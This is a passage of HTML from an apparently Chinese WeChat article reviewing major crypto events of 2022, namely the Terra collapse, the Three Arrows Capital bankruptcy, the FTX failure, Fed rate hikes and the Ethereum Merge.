Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">面对UST的失衡，Do Kwan动用LFG团队基金出售80,000枚BTC大量购回UST。可惜市场已对Terra失去信心，其他用户们纷纷抛售UST。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Terra的算法同时令LUNA大量增发，LUNA &amp; UST因此进入死亡螺旋。Terra链上的交易者无法跟上大规模抛售，因此崩盘是无可避免的。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Terra的崩盘对市场造成巨大损失，UST的价格在几天内跌至 $0.2，而LUNA的价格也归零，Terra Network市值蒸发了400亿美元，许多投资者损失严重。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">除此之外，LFG 出售的80,000枚比特币也对市场造成巨大冲击，比特币价格下跌也导致整体市场面临更严峻的熊市。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">2</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">三箭资本破产</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">三箭资本（Three Arrows Capital）是由创始人Su Zhu和Kyle Davies于2012年创立的加密货币对冲基金。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">三箭资本以其高杠杆押注而闻名，从不同的公司借入了大量资金，并投资于许多不同的数字资产项目。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在2022年3月，其资产管理规模曾达到100亿美元，投资组合包括Avalanche、Solana、Polkadot和Terra等代币。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">三箭资本无疑是币圈内的投资巨头。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Terra崩盘之后， 随即有消息流传指三箭资本面临流动性问题，也有消息指该公司疑似挪用客户资金。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在2022年6月14日，Su Zhu 删除了社交媒体Twitter账号简介中包括以太坊等数字货币标签，并在Twitter上发布推文：“我们正在与有关方面进行沟通，并完全致力于解决这个问题。”不过，Su Zhu并未明确所回应该“问题”的具体内容。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">随后一星期，数字资产经纪公司Voyager Digital表示，已经向三箭资本出借15,250个比特币和3.5亿美元的稳定币USDC。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">按当时的价格计算，贷款总额超过6.75亿美元。Voyager Digital公司要求三箭资本在6月27日前偿还全部未结清贷款，否则将面临违约。三箭资本结果是没有偿还该贷款，Voyager 随即从法律途径向三箭资本寻求赔偿。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">事情曝光后, 其他三箭资本的借贷人纷纷要求三箭资本偿还贷款， 包括Genesis Global Trading BlockFi，BitMex，FTX，及Blockchain等等。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">三箭资本被迫出售其资产，更一度在curve上的stETH/ETH池大幅抛售8万枚stETH (超过 8400 万美元), 导致stETH脱锚 (stETH曾经一脱锚到0.94ETH)。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">三箭资本在币圈打开了一个资金敞口，其影响深远。可是由于缺乏透明度，没有人知道谁对他们持有敞口， 随着越来越多机构披露三箭资本的坏帐，整个行业引发恐慌，资金不断撤出，加密行业进入“雷曼时刻”。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">3</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">FTX暴雷</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">今年11月FTX由于用户挤兑导致流动性枯竭且资不抵债，最终宣布破产。这可以说是本轮熊市以来第一大风险事件，其影响广泛而深远。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">FTX成立于2019年，和其姊妹公司Alameda共同为Sam Bankman-Fried创立。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在成立之后直到暴雷之前的短短三年时间，FTX已经成为一个市值240亿美元，行业排名第二的中心化交易所，其创始人SBF的个人资产也达到了156亿美元。但一周之内，这些资产全部化为泡影。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">事情的根本原因是FTX作为中心化交易所，持有大量用户资产。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">而其姊妹公司Alameda由于业务需要大量资金，因此其以所持有的FTT和SOL等代币作为抵押，从FTX借出用户资金。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">这样一来FTX的用户资产虽然从账面价值看变化不大，但已经从包含大量稳定币和BTC的资产转变为持有大量FTT和SOL等代币，资产同质化严重且波动性高。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">事情的导火索来自于Coindesk发现了FTX资产负债表上的问题并发表了分析文章做出警示。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">之</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">后币安创始人CZ以此为由宣布为规避风险将卖出持有的FTT，从而引发市场恐慌，导致FTT价格暴跌，从而使得FTX资产端大幅缩水，并引发用户挤兑浪潮。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">最终FTX因为用户挤兑导致流动性枯竭，且持有的FTT和SOL等资产大幅下跌导致资不抵债，最终宣布破产。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">FTX的破产直接引发了行业地震并导致市场崩盘。作为行业领导者之一，FTX和Alameda参与了众多项目的投资，尤其在今年熊市期间，他们更是多次出手救助陷入危机的业内公司，树立了币圈央妈的形象。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">据不完全统计，FTX参与直投的项目超过了110个，部分如下表：</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8520710059171598" data-s="300,640" style="" data-type="png" data-w="845" src="https://wechat2rss.xlab.app/img-proxy/?k=097da4de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0g5lvR7oAtmdlXrqat7TficLeQNQQNRXDSj0tyeCnSzBhiaHvDLPT8DNw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">除此之外，其他与FTX有业务往来的项目如bitDao和MIM，以及投资公司如红杉资本和淡马锡等纷纷遭受了代币暴跌和相关投资资产减记等损失。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">可以说此次FTX破产事件其影响之深远，造成的损失之大不是Luna、3AC等事件可以比拟，堪称真正的币圈雷曼事件。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">除了市场下跌和相关公司及项目遭受损失之外，本次事件还对整个行业生态造成了严重的影响。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">最直接的影响是中心化交易所遭遇到了信任危机。</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">自事件爆发后，各大交易所都面临提币压力，显示出当前用户在恐慌情绪影响下对中心化交易所的巨大不信任。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">面临这种局面，各大交易所纷纷采取措施自救，如进行储备资产披露，呼吁建立行业规范和行业复苏基金等。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">但从长远来看，本次事件对整个行业生态将带来深远的影响：用户对中心化机构失去信任及对去中心化的呼声增加可能导致去中心化项目的再次发展；监管必然将进一步增强，合规牌照的获取难度和成本都会进一步升高；各个项目或机构在本次事件后的信息透明度都将大幅提高；事件可能导致用户对整个加密货币行业的信心动摇，使得行情下跌的同时低迷时间大幅延长等等。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;">尽管如此，我们相信不破不立，每次事件的爆发都是刮骨疗毒，每次行情的下跌都是机会。随着事件的逐步平息，在经历阵痛之后行业依然会逐步走向好的方向。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">4</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">美联储大幅加息</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">下图为美国自1980年以来的通胀率和基准利率数据：</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7331975560081466" data-s="300,640" style="" data-type="png" data-w="982" src="https://wechat2rss.xlab.app/img-proxy/?k=199078cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0657QXr1dSwvibkWn89zOYk8hc3rJSQSbLMDlfPdEJdB4yricrgnkZeTQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">从上图可以看出，当前美国的通胀率已经到达了1980年以来的最高水平，而基准利率也在8个月的时间内到达2008年以来的最高水平，且预计在明年二季度以前还会继续加息。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在这样的背景下，全球各个国家和各个行业都感受到了金融寒冬的冷意，下表为各大类资产在2022年的涨跌幅。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8888888888888888" data-s="300,640" style="" data-type="png" data-w="810" src="https://wechat2rss.xlab.app/img-proxy/?k=0aee58f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0Ue2AjPRnsBFK3vEEGBN7s7esAicd6kfIRu4DWDreRiaDyBiaKgCosnEzw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">从上表可以看出，在美联储大幅加息的背景下，全球大类资产都受到了巨大影响：除大宗商品受到除美国货币政策之外的因素影响而上涨外，不管是全球股市，各国货币还是国债都出现了大幅下跌。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">其中代表短期资金成本的2年期美债和以科技股为主的纳指跌幅相对更大。在这种情况下，加密货币行业也难以避免。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">更有甚者，加密货币行业由于自身特点，存在杠杆率相比传统行业偏高的现象，在全球资金收紧的情况下，去杠杆的过程也相对更加暴力和剧烈，如terra崩盘和三箭资本破产等年度重大事件，它们的发生虽然有各自不同的直接原因，但根本原因都是受到全球货币紧缩的大环境而产生的现金流问题。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">因此在若干年后，如果要分析2022年加密行业的重大事件之时，以美联储加息为代表的全球流动性紧缩是分析很多问题的根本。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">5</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: normal;">以太坊合并</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022年9月15日，万众瞩目的以太坊合并顺利完成，标志着以太坊主网的共识机制正式从工作量证明（PoW）切换到了权益证明（PoS）。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">作为世界级计算机，以太坊自诞生起便一直使用工作量证明共识机制来保证系统的安全，各种交易、智能合约、账户等复杂功能也都是运行在这一核心机制之上。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">随着以太坊上生态应用的不断繁荣，当前的基础架构对系统扩展性提出挑战，PoW的局限性严重限制了以太坊的未来发展。为解决可扩展性问题，团队给出了一系列网络升级方案。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">合并是该系列中的第二次网络升级，它将生态中现有的两条独立区块链以太坊主网与信标链相结合，在保留原有执行智能合约的功能和完整的历史数据及用户状态的同时实现共识机制的切换。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.36640625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=38b7a730&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0gnL8rdxnSzSbB41ibcMoqtpDFJS35wccpPhX4gqS112UWbthEJNYTZw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 